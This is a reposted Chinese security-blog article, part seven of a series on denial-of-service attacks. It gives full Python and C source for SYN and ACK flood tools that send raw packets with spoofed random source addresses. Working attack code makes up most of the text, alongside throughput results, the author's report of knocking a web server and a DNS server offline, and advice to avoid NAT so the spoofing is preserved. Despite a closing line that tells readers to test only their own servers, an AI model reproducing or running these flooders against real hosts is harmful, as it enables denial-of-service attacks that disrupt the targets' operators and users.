安全路透社
当前位置:安全路透社 > 网络转载 > 正文

浅谈拒绝服务攻击的原理与防御(7):用Python和C实现syn flood攻击

*原创作者:黑戈爾

0×01 前言

系列回顾

以前做DDOS的实验都是用python来编写工具的,开始不会编写结构不会算校验和的时候就用scapy写,后来学会了报文结构开始自己构造各种报文,但是用python写成之后虽然是能实现基本功能,但是性能太差,其不到攻击效果,然后又开始学c语言,用c语言重写了syn flood攻击工具,今天我把python和c的源码都发出来,分享给大家,如果是学习就用python的代码,因为比较方便修改其中的内容,如果是做压力测试的话就用c的代码,性能比较好威力也比较大。话不多说直接上代码了。

0×02 python攻击代码

环境:ubuntu/kali +python 2.7.11

使用方法如下:mode有三种模式 syn攻击、ack攻击、混合攻击,虽说是支持多线程但是多个线程反而不如单线程快,估计是我的多线程弄得有些问题,麻烦这方面比较懂的朋友帮我指点一下。

2017-03-25 19-10-31屏幕截图.png

我电脑是i7-6700单线程也只能这点速度。cpu1已经使用89%了

2017-03-25 19-10-44屏幕截图.png

看一下抓包情况吧,因为只是测试用我也没带tcp的options字段,报文长度也不够64字节,不过也能传到目的地址。

2017-03-25 19-11-31屏幕截图.png

下面是代码:

#!/usr/bin/python 
#-*-coding:utf-8-*- 
 
import socket 
import struct 
import random 
import threading 
 
 
 
class myThread (threading.Thread):    
    def __init__(self,dstip,dstport,mode): 
        threading.Thread.__init__(self) 
        self.dstip = dstip 
        self.dstport =dstport 
        self.mode =mode 
    def run(self):                          
        attack(self.dstip,self.dstport,self.mode) 
 
def checksum(data): 
    s = 0 
    n = len(data) % 2 
    for i in range(0, len(data)-n, 2): 
        s+= ord(data[i]) + (ord(data[i+1]) << 8) 
    if n: 
        s+= ord(data[i+1]) 
    while (s >> 16): 
        s = (s & 0xFFFF) + (s >> 16) 
    s = ~s & 0xffff 
    return s 
 
 
def IP(source,destination,udplen): 
    version = 4 
    ihl = 5 
    tos = 0 
    tl = 20+udplen 
    ip_id = random.randint(1,65535) 
    flags = 0  
    offset = 0 
    ttl = 128 
    protocol =6 
    check =0 
    source = socket.inet_aton(source) 
    destination = socket.inet_aton(destination) 
 
    ver_ihl = (version << 4)+ihl 
    flags_offset = (flags << 13)+offset 
    ip_header = struct.pack("!BBHHHBBH4s4s", 
                    ver_ihl, 
                    tos, 
                    tl, 
                    ip_id, 
                    flags_offset, 
                    ttl, 
                    protocol, 
                    check, 
                    source, 
                    destination) 
    check=checksum(ip_header) 
    ip_header = struct.pack("!BBHHHBBH4s4s", 
                    ver_ihl, 
                    tos, 
                    tl, 
                    ip_id, 
                    flags_offset, 
                    ttl, 
                    protocol, 
                    socket.htons(check), 
                    source, 
                    destination)   
    return ip_header 
 
 
def TCP(srcip,dstip,protocol,dp,fg): 
    source = socket.inet_aton(srcip) 
    destination = socket.inet_aton(dstip) 
    srcport=random.randint(1,65535) 
    dstport=dp 
    syn_num=random.randint(1,4000000000) 
    if fg == 2: 
        ack_num=0 
    else: 
        ack_num=random.randint(1,4000000000) 
    hlen=5 
    zero=0 
    flag=fg 
    window=8192 
    check=0 
    point=0 
    tcplen=hlen 
    h_f=(hlen << 12)+flag 
    TCP_head=struct.pack("!4s4sHHHHIIHHHH",source,destination,protocol,tcplen,srcport,dstport,syn_num,ack_num,h_f,window,check,point) 
    check=checksum(TCP_head) 
    TCP_head=struct.pack("!HHIIHHHH",srcport,dstport,syn_num,ack_num,h_f,window,check,point) 
    return TCP_head 
     
def makepacket(dstip,dstport,fg): 
    srcip=str(random.choice(ip_first))+'.'+str(random.randint(1,255))+'.'+str(random.randint(1,255))+'.'+str(random.randint(1,255)) 
    protocol=6 
    ippacket=IP(srcip,dstip,5)+TCP(srcip,dstip,protocol,dstport,fg) 
    return ippacket 
 
 
def attack(dstip,dstport,mode): 
    if mode == 'syn': 
        fg=2 
        while 1: 
            data=makepacket(dstip,dstport,fg) 
            s.sendto(data,(dstip,dstport)) 
    elif mode == 'ack': 
        fg=18 
        while 1: 
            data=makepacket(dstip,dstport,fg) 
            s.sendto(data,(dstip,dstport)) 
    elif mode == 'syn&ack': 
        while 1: 
            data=makepacket(dstip,dstport,2) 
            s.sendto(data,(dstip,dstport)) 
            data=makepacket(dstip,dstport,18) 
            s.sendto(data,(dstip,dstport)) 
    else: 
        print 'DON\'T xia say!' 
 
dstip=raw_input('attack IP:') 
dstport=int(input('attack PORT:')) 
mode=raw_input('mode:(syn or ack or syn&ack)') 
threads=int(input("线程数threads:")) 
 
ip_first=[] 
for i in range(1,10): 
    ip_first.append(i) 
 
for i in range(11,172): 
    ip_first.append(i) 
 
for i in range(173,192): 
    ip_first.append(i) 
 
for i in range(193,224): 
    ip_first.append(i) 
 
s = socket.socket(socket.AF_INET,socket.SOCK_RAW,6) 
s.setsockopt(socket.IPPROTO_IP,socket.IP_HDRINCL,1) 
 
 
threads_name=[]     
for i in range(threads): 
    threads_name.append('teread'+str(i)) 
 
for i in range(threads):     
    threads_name[i]=myThread(dstip,dstport,mode) 
 
for i in range(threads): 
    threads_name[i].start() 

0×03 C语言攻击代码

环境:ubuntu/kali gcc version 6.1.1 20160802 (Debian 6.1.1-11)

使用方法:支持两个参数 目的ip和目的端口

2017-03-25 19-22-13屏幕截图.png

性能:限制发包速度的是带宽(我这是100M的网,除去报文的前导码和帧间隔极限速度差不多就是9m左右了),cpu利用才27%,我在1000Mbps的网速下测试,单线程的话速度能到40m左右,cpu占用率大约85%左右。所以说在这件事上(syn flood)C的性能要好过python10倍以上。

2017-03-25 19-22-44屏幕截图.png

抓包情况:c的攻击代码模拟了真实的chrome发起tcp请求的情况,不仅仅是标准的ip头+tcp头还加上了tcp options字段,mss最大段大小、sack选择确认、window scale 窗口规模因子,大小总共66字节。

2017-03-25 19-23-22屏幕截图.png

C语言代码:我以前没怎么写过c,所以写的比较糟糕,不过凑合还是能用的,各位可以拿去在修改修改,计算校验和的部分是我在网上抄来的,产生随机数的种子srand不能用time(),这样会造成很多报文随机数部分重复(时间精度是秒),我用的是clock(),这是cpu时间随机数每个都不会重复。pstcphdr是tcp的伪首部,只参与计算校验和而不真的发送,代码中用了linux定义好的Ip.h和tcp.h中的结构,这可能是程序比较快的原因之一。

#include <stdlib.h>
#include <stdio.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <netinet/ip.h>
#include <linux/tcp.h>
struct pstcphdr {
    __be32    saddr;
    __be32    daddr;
    __be16    proto;
    __be16    tcplen;
};
struct tcpoptions 
{
    __be32    mss;
    __be16    nop2;
    __be16    sack;
    __be32    scale;
};
unsigned short check_sum(unsigned short *addr,int len);
int main(int argc, char *argv[])
{
if( argc == 1 )
   {
printf("这是一个syn测试工具,命令格式./synflood ip port \n");
exit(0);
   }
else if( argc > 3 )
   {
printf("参数输入太多啦,请不带参数查看输入格式!\n");
exit(0);
   }
else if( argc < 3 )
   {
printf("参数输入太少啦,请不带参数查看输入格式!\n");
exit(0);
   }
const int on=1;
/*char ipadd[20]=("192.168.1.10");*/
srand(clock());
/*struct sockaddr_in srcaddress;*/
struct sockaddr_in dstaddress;
struct pstcphdr *pstcphdr1;
struct iphdr *iphead;
struct tcphdr *tcp;
struct tcpoptions *tcpopt;
dstaddress.sin_family=AF_INET;
dstaddress.sin_port=htons(atoi(argv[2]));
dstaddress.sin_addr.s_addr = inet_addr(argv[1]);


int sk=socket(AF_INET,SOCK_RAW,IPPROTO_TCP);
setsockopt(sk,IPPROTO_IP,IP_HDRINCL,&on,sizeof(on));
char buf[128]={0};
int ip_len;

ip_len = sizeof(*iphead)+sizeof(*tcp)+sizeof(*tcpopt);
iphead=(struct iphdr*)buf;
tcp=(struct tcphdr *)(buf+sizeof(*iphead));
tcpopt=(struct tcpoptions*)(buf+sizeof(*iphead)+sizeof(*tcp));
iphead->version= 4;
iphead->ihl=sizeof(*iphead)/4;
iphead->tos=0;
iphead->tot_len=htons(ip_len);
iphead->id=0;
iphead->frag_off=0;
iphead->protocol=6;
iphead->check=0;
inet_aton(argv[1],&iphead->daddr);

int tcplen=sizeof(*tcp)+sizeof(*tcpopt);
tcp->dest=htons(atoi(argv[2]));
tcp->doff=tcplen/4;
tcp->syn=1;
tcp->check=0;
tcp->window=htons(8196);

tcpopt->mss=htonl(0x020405b4);
tcpopt->nop2=htons(0x0101);
tcpopt->sack=htons(0x0402);
tcpopt->scale=htonl(0x01030309);

pstcphdr1=(struct pstcphdr*)(buf+sizeof(*iphead)+sizeof(*tcp)+sizeof(*tcpopt));
pstcphdr1->daddr=&iphead->daddr;
pstcphdr1->proto=htons(6);
pstcphdr1->tcplen=htons(sizeof(*tcp));
while (1)
{
tcp->seq=rand();
iphead->ttl=random()%98+30;
iphead->saddr=htonl((rand()%3758096383));
pstcphdr1->saddr=&iphead->saddr;
tcp->source=htons(rand()%65535);
tcp->check=check_sum((unsigned short*)tcp,sizeof(*tcp)+sizeof(*tcpopt)+sizeof(*pstcphdr1));

sendto(sk,buf,ip_len,0,&dstaddress,sizeof(struct sockaddr_in));
}
}

unsigned short check_sum(unsigned short *addr,int len){
        register int nleft=len;
        register int sum=0;
        register short *w=addr;
        short answer=0;

        while(nleft>1)
        {
                sum+=*w++;
                nleft-=2;
        }
        if(nleft==1)
        {
                *(unsigned char *)(&answer)=*(unsigned char *)w;
                sum+=answer;
        }

        sum=(sum>>16)+(sum&0xffff);
        sum+=(sum>>16);
        answer=~sum;
        return(answer);
}

0×04 结语

还有些注意事项,就是测试的时候不要通过家用路由器(或者一切NAT设备),不然伪造的源地址全都会被替换成真实的,如果你带宽大的话c语言那个攻击代码威力还是很大的,我测试环境下发包30MB/s,能让一台空闲的双路E5+32G 的web服务器拒绝服务,也能让同等配置的DNS服务器拒绝服务(DNS 服务器一般也会开放TCP 53端口)。所以各位不要乱去攻击别人,就测测自己的服务器抗压能力就好了。

*原创作者:黑戈爾

未经允许不得转载:安全路透社 » 浅谈拒绝服务攻击的原理与防御(7):用Python和C实现syn flood攻击

赞 (0)
分享到:更多 ()

评论 0

评论前必须登录!

登陆 注册